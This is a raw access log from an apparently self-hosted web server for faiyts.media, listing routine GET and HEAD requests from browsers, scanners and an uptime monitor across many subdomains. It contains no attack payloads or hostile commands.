-0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +45.129.56.135 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +45.129.56.135 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.62 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.185 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.195 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.79 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.116 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +45.129.56.135 - - [01/Jun/2024:13:37:38 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +45.129.56.135 - - [01/Jun/2024:13:37:38 -0500] "GET /favicon.ico HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +45.129.56.135 - - [01/Jun/2024:13:37:38 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.62 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.185 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET /web/ HTTP/1.1" 200 2067 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.195 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:39 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +154.28.229.116 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.79 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +178.249.211.72 - - [01/Jun/2024:13:37:39 -0500] "GET /favicon.ico HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:40 -0500] "HEAD / HTTP/1.1" 400 0 "-" "python-requests/2.27.1" +91.90.120.14 - - [01/Jun/2024:13:37:40 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +104.164.173.214 - - [01/Jun/2024:13:37:41 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +91.90.120.14 - - [01/Jun/2024:13:37:41 -0500] "HEAD / HTTP/1.1" 401 0 "-" "python-requests/2.27.1" +91.90.120.14 - - [01/Jun/2024:13:37:41 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +194.110.115.23 - - [01/Jun/2024:13:37:41 -0500] "GET / HTTP/1.1" 401 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +194.110.115.23 - - [01/Jun/2024:13:37:41 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +194.110.115.23 - - [01/Jun/2024:13:37:41 -0500] "GET /favicon.ico HTTP/1.1" 200 5430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +194.110.115.23 - - [01/Jun/2024:13:37:41 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.164.173.164 - - [01/Jun/2024:13:37:41 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +194.110.115.23 - - [01/Jun/2024:13:37:41 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:41 -0500] "HEAD / HTTP/1.1" 200 0 "-" "python-requests/2.27.1" +194.110.115.23 - - [01/Jun/2024:13:37:41 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.164.173.214 - - [01/Jun/2024:13:37:42 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +146.70.173.4 - - [01/Jun/2024:13:37:42 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.164.173.164 - - [01/Jun/2024:13:37:42 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:42 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:43 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:43 -0500] "GET /login HTTP/1.1" 200 41224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:43 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:43 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:44 -0500] "GET /favicon.ico HTTP/1.1" 200 6055 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.248.122.209 - - [01/Jun/2024:13:37:44 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:44 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:44 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:45 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +71.93.86.58 - - [01/Jun/2024:13:37:45 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +71.93.86.58 - - [01/Jun/2024:13:37:46 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:37:47 -0500] "GET /api/v1/command HTTP/2.0" 200 987 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:37:47 -0500] "GET /api/v1/command HTTP/2.0" 200 987 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:37:48 -0500] "GET / HTTP/1.1" 307 5 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:37:48 -0500] "GET /login HTTP/1.1" 200 231774 "-" "Uptime-Kuma/1.23.13" +45.129.56.135 - - [01/Jun/2024:13:37:48 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.164.173.246 - - [01/Jun/2024:13:37:49 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +72.172.198.229 - - [01/Jun/2024:13:37:50 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.246 - - [01/Jun/2024:13:37:50 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +72.172.198.229 - - [01/Jun/2024:13:37:51 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.198 - - [01/Jun/2024:13:37:52 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.177 - - [01/Jun/2024:13:37:52 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.206 - - [01/Jun/2024:13:37:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.198 - - [01/Jun/2024:13:37:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.133 - - [01/Jun/2024:13:37:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.177 - - [01/Jun/2024:13:37:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.187 - - [01/Jun/2024:13:37:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:37:54 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.206 - - [01/Jun/2024:13:37:54 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +176.9.140.11 - - [01/Jun/2024:13:37:54 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.133 - - [01/Jun/2024:13:37:54 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.187 - - [01/Jun/2024:13:37:55 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +73.108.217.109 - - [01/Jun/2024:13:37:55 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:37:55 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.140.11 - - [01/Jun/2024:13:37:55 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.140.11 - - [01/Jun/2024:13:37:56 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +73.108.217.109 - - [01/Jun/2024:13:37:56 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +172.58.241.115 - - [01/Jun/2024:13:37:56 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.237 - - [01/Jun/2024:13:37:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:37:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.237 - - [01/Jun/2024:13:37:58 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:37:58 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:58 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +172.58.241.115 - - [01/Jun/2024:13:37:59 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:38:00 -0500] "GET /g/home HTTP/1.1" 200 4562 "-" "Uptime-Kuma/1.23.13" +173.173.43.116 - - [01/Jun/2024:13:38:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +173.173.43.116 - - [01/Jun/2024:13:38:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.37 - - [01/Jun/2024:13:38:04 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.37 - - [01/Jun/2024:13:38:04 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.193 - - [01/Jun/2024:13:38:04 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +107.207.166.165 - - [01/Jun/2024:13:38:05 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.14 - - [01/Jun/2024:13:38:05 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +107.207.166.165 - - [01/Jun/2024:13:38:05 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.14 - - [01/Jun/2024:13:38:05 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:38:06 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.193 - - [01/Jun/2024:13:38:06 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:38:06 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:38:07 -0500] "GET / HTTP/1.1" 302 5 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:38:07 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:38:11 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:38:11 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET / HTTP/2.0" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /login?next=%2F HTTP/2.0" 200 4238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/css/libs/bootstrap.min.css HTTP/2.0" 200 121457 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/css/style.css HTTP/2.0" 200 8928 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 